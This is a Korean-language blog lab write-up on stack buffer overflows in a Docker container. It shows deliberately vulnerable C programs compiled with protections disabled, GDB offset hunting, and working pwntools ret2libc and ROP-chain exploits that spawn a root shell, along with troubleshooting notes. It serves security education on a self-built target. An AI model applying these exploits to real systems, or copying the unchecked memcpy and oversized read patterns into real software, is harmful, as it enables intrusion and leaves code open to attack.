1. 들어가며
환경 구성이 끝났으니 이제 본격적으로 실습을 진행했다. 처음엔 단순히 오버플로우만 발생시키면 되는 줄 알았는데 null byte 문제, 스택 정렬 문제 등 생각보다 막히는 부분이 많았다. 32비트는 비교적 수월했는데 64비트로 넘어가면서 ROP 가젯이라는 개념까지 등장했다. 삽질한 과정도 그대로 담았으니 같은 오류를 만난다면 참고가 됐으면 한다.
환경 구성 글: 버퍼 오버플로우 실습 1편 - 환경 구성
2. 컨테이너 접속 및 ASLR 비활성화
1편에서 만든 컨테이너를 다시 시작하고 접속한다.
docker start bof_practice
docker exec -it bof_practice /bin/bash
접속 후 ASLR이 꺼져 있는지 먼저 확인한다. 컨테이너를 재시작하면 ASLR이 다시 켜지는 경우가 있어서 매번 확인하는 게 좋다.
cat /proc/sys/kernel/randomize_va_space
0이 아니면 다시 비활성화한다.
echo 0 > /proc/sys/kernel/randomize_va_space

3. 취약한 C 코드 작성
cat > vuln.c << 'EOF'
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[64];
memcpy(buffer, input, strlen(input));
printf("input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage: ./vuln <input>\n");
return 1;
}
vulnerable(argv[1]);
return 0;
}
EOF
⚠️ vim으로 작성하면 한글 주석이 깨지는 문제가 있어서 cat > file << 'EOF' 방식으로 파일을 생성했다.
취약점 포인트:
memcpy(buffer, input, strlen(input));
→ buffer 크기(64바이트)를 검증하지 않고
input 크기만큼 무조건 복사
→ 64바이트 초과 시 오버플로우 발생

4. 32비트 익스플로잇
4-1. 32비트로 컴파일
gcc -o vuln vuln.c \
-m32 \
-fno-stack-protector \
-z execstack \
-no-pie
보호 기법 비활성화 옵션:
| 옵션 | 비활성화하는 보호 기법 | 설명 |
| -m32 | - | 32비트로 컴파일 |
| -fno-stack-protector | 스택 카나리 | 오버플로우 감지 기능 |
| -z execstack | DEP/NX | 스택에서 코드 실행 차단 |
| -no-pie | PIE | 코드 주소 랜덤화 |
⚠️ 이 옵션들은 실습 목적으로 보호 기법을 끄는 것이다. 실제 운영 환경에서는 절대 사용하지 않는다.
4-2. 오버플로우 발생 확인
./vuln $(python3 -c "print('A' * 100)")
출력:
input: AAAAAAAAAA...
Segmentation fault (core dumped)
A 100개를 넣으면 buffer(64바이트)를 초과해서 옆 메모리(RBP, Return Address)를 덮어씌우고 프로그램이 종료된다.

4-3. GDB로 오프셋 찾기
오프셋 = buffer 시작부터 Return Address까지의 거리(바이트 수)
gdb ./vuln
break vulnerable
run $(python3 -c "print('A'*76 + 'B'*4 + 'C'*4)")
continue
info registers ebp eip
결과:
ebp = 0x41414141 <- A로 덮어씌워짐
eip = 0x42424242 <- B로 덮어씌워짐 (Return Address 위치)
오프셋 = 76바이트 (A 76개)
-> 그 다음 4바이트가 Return Address

ebp, eip가 뭔지:
ebp = 현재 함수 스택 프레임 기준점 (32비트)
eip = 다음에 실행할 명령어 주소 (32비트)
64비트에서는 rbp, rip로 불린다.
4-4. system, /bin/sh 주소 찾기
GDB 안에서 주소를 확인한다. 프로그램이 실행된 상태에서만 메모리에 올라온 주소를 확인할 수 있다.
print system
find &system, +9999999, "/bin/sh"
결과:
system = 0xf7e16360
/bin/sh = 0xf7f61363
왜 이 주소들이 필요하냐면:
system 함수는 Ubuntu OS가 제공하는 libc 라이브러리 안에 있다.
system("/bin/sh") 를 호출하면 쉘이 실행되는데
Return Address를 system 주소로 덮어쓰면
함수 종료 시 system으로 점프하고
/bin/sh 주소를 인자로 전달하면 쉘이 실행된다.

4-5. 32비트 익스플로잇 실행
quit로 gdb 종료 후 익스플로잇 코드 작성, 실행
cat > exploit.py << 'EOF'
import struct
from pwn import *
context.arch = 'i386'
payload = b'A' * 76
payload += struct.pack('<I', 0xf7e16360) # system 주소
payload += b'BBBB' # 더미 (system 종료 후 복귀 주소)
payload += struct.pack('<I', 0xf7f61363) # /bin/sh 주소
p = process(['./vuln', payload.decode('latin-1')])
p.interactive()
EOF
python3 exploit.py
32비트 페이로드 구조:
A * 76 : buffer(64) + EBP(8) + 추가(4) 채우기
system 주소(4) : Return Address = system 함수로 점프
BBBB(4) : system 종료 후 복귀 주소 (더미)
/bin/sh 주소(4) : system 함수 인자
32비트는 함수 인자를 스택으로 전달한다.
system 주소 다음에 /bin/sh 주소를 스택에 넣으면
system 함수가 스택에서 인자를 읽어온다.
결과:
$ whoami
root

4-6. 실습 중 마주친 오류
오류 1: null byte 문제
[ERROR] Inappropriate nulls in argv[1]
64비트 주소에는 \x00\x00 이 포함되어 있어서 argv로 전달 시 bash가 잘라버린다. 32비트 주소는 null byte가 없는 경우가 많아서 argv 방식이 가능하다.
오류 2: 한글 깨짐
vim에서 한글이 깨져서 코드가 제대로 입력되지 않았다. cat > file << 'EOF' 방식으로 파일을 생성하고 주석을 영어로 작성해서 해결했다.
5. 64비트 익스플로잇
5-1. 64비트 코드 작성 및 컴파일
64비트는 argv로 null byte를 전달할 수 없어서 stdin으로 입력받는 코드를 사용한다.
cat > vuln64.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vulnerable() {
char buffer[64];
read(0, buffer, 200);
printf("input received\n");
}
int main() {
vulnerable();
return 0;
}
EOF
gcc -o vuln64 vuln64.c \
-fno-stack-protector \
-z execstack \
-no-pie
5-2. 오프셋 확인
64비트는 stdin으로 입력을 받기 때문에 파일로 만들어서 전달한다.
python3 -c "import sys; sys.stdout.buffer.write(b'A'*64 + b'B'*8 + b'C'*8)" > input.bin
gdb ./vuln64
break vulnerable
run < input.bin
continue
x/1gx $rsp
결과:
0x7fffffffe668: 0x4343434343434343 <- C로 덮어씌워짐
오프셋 = 64(buffer) + 8(RBP) = 72바이트

5-3. system, /bin/sh 주소 찾기
print system
find &system, +9999999, "/bin/sh"
결과:
system = 0x7ffff7e20290
/bin/sh = 0x7ffff7f825bd

5-4. ROP 가젯 찾기
64비트는 함수 인자를 레지스터(rdi)로 전달해야 한다. 스택에 있는 값을 rdi로 옮겨주는 pop rdi 가젯이 필요하다.
ROPgadget --binary vuln64 | grep "pop rdi"
ROPgadget --binary vuln64 | grep ": ret"
결과:
pop rdi ; ret : 0x401203
ret : 0x40101a
ROP 가젯이 뭔지:
프로그램 안에 이미 존재하는 짧은 명령어 조각.
이 조각들을 조합해서 원하는 동작을 만드는 기법을 ROP(Return Oriented Programming)라고 한다.
왜 ret 가젯이 필요하냐면:
64비트 system 함수는 스택이 16바이트로 정렬되어 있어야 실행된다.
ret 가젯을 하나 추가하면 RSP가 8바이트 이동하면서 정렬이 맞춰진다.

5-5. 64비트 익스플로잇 실행
cat > exploit64.py << 'EOF'
from pwn import *
context.arch = 'amd64'
payload = b'A' * 72
payload += p64(0x40101a) # ret (스택 정렬)
payload += p64(0x401203) # pop rdi ; ret
payload += p64(0x7ffff7f825bd) # /bin/sh 주소 (rdi에 들어감)
payload += p64(0x7ffff7e20290) # system 주소
p = process('./vuln64')
p.sendline(payload)
p.interactive()
EOF
python3 exploit64.py
64비트 페이로드 구조:
A * 72 : buffer(64) + RBP(8) 채우기
ret 주소(8) : 스택 정렬 맞추기
pop rdi ; ret 주소(8): /bin/sh 주소를 rdi에 저장
/bin/sh 주소(8) : rdi에 들어갈 값
system 주소(8) : system("/bin/sh") 실행
실행 순서:
1. ret -> RSP 이동 (스택 16바이트 정렬)
2. pop rdi -> /bin/sh 주소를 rdi에 저장
3. ret -> system 주소로 점프
4. system(rdi)= system("/bin/sh") 실행
5. 쉘 획득
결과:
$ whoami
root

5-6. 실습 중 마주친 오류
오류 1: SIGSEGV 발생
Process './vuln64' stopped with exit code -11 (SIGSEGV)
스택 정렬 문제로 system 함수 실행 시 SIGSEGV가 발생했다. ret 가젯을 추가해서 16바이트 정렬을 맞춰 해결했다.
오류 2: Got EOF while reading in interactive
[*] Got EOF while reading in interactive
stdin 방식에서 쉘이 뜨자마자 종료되는 문제가 발생했다. ROP 가젯으로 스택 정렬을 맞추고 나서 해결됐다.
6. 32비트 vs 64비트 차이 정리
| 32비트 | 64비트 | |
| 함수 인자 전달 | 스택으로 전달 | 레지스터(rdi)로 전달 |
| Return Address 크기 | 4바이트 | 8바이트 |
| null byte 문제 | 거의 없음 | 항상 존재 |
| ROP 가젯 필요 여부 | 불필요 | 필요 (pop rdi, ret) |
| 스택 정렬 | 불필요 | 16바이트 정렬 필요 |
| 페이로드 전달 방식 | argv 가능 | stdin 필요 |
7. 마무리
이번 실습에서 보호 기법을 모두 끈 상태에서 진행했는데, 실제 환경에서는 ASLR, 스택 카나리, DEP가 켜져 있어서 훨씬 복잡한 기법이 필요하다. 다음 실습에서는 보호 기법을 하나씩 켜면서 어떻게 막히는지, 그리고 각 보호 기법을 우회하는 방법을 다뤄볼 예정이다.
더 나은 방법이나 개선점이 있다면 댓글로 공유해주세요.
이 블로그의 관련 글:
참고 자료:
'정보 보안 > 모의해킹' 카테고리의 다른 글
| SQL 인젝션 실습 2편 - DVWA Low 레벨 공격 (0) | 2026.07.15 |
|---|---|
| SQL 인젝션 실습 1편 - DVWA 환경 구성 (Docker) (0) | 2026.07.14 |
| 버퍼 오버플로우 실습 환경 구성 - Docker 설치부터 컨테이너 생성까지 (0) | 2026.07.08 |
| Burp suite(버프스위트) 설치 및 기본 설정 (0) | 2025.04.02 |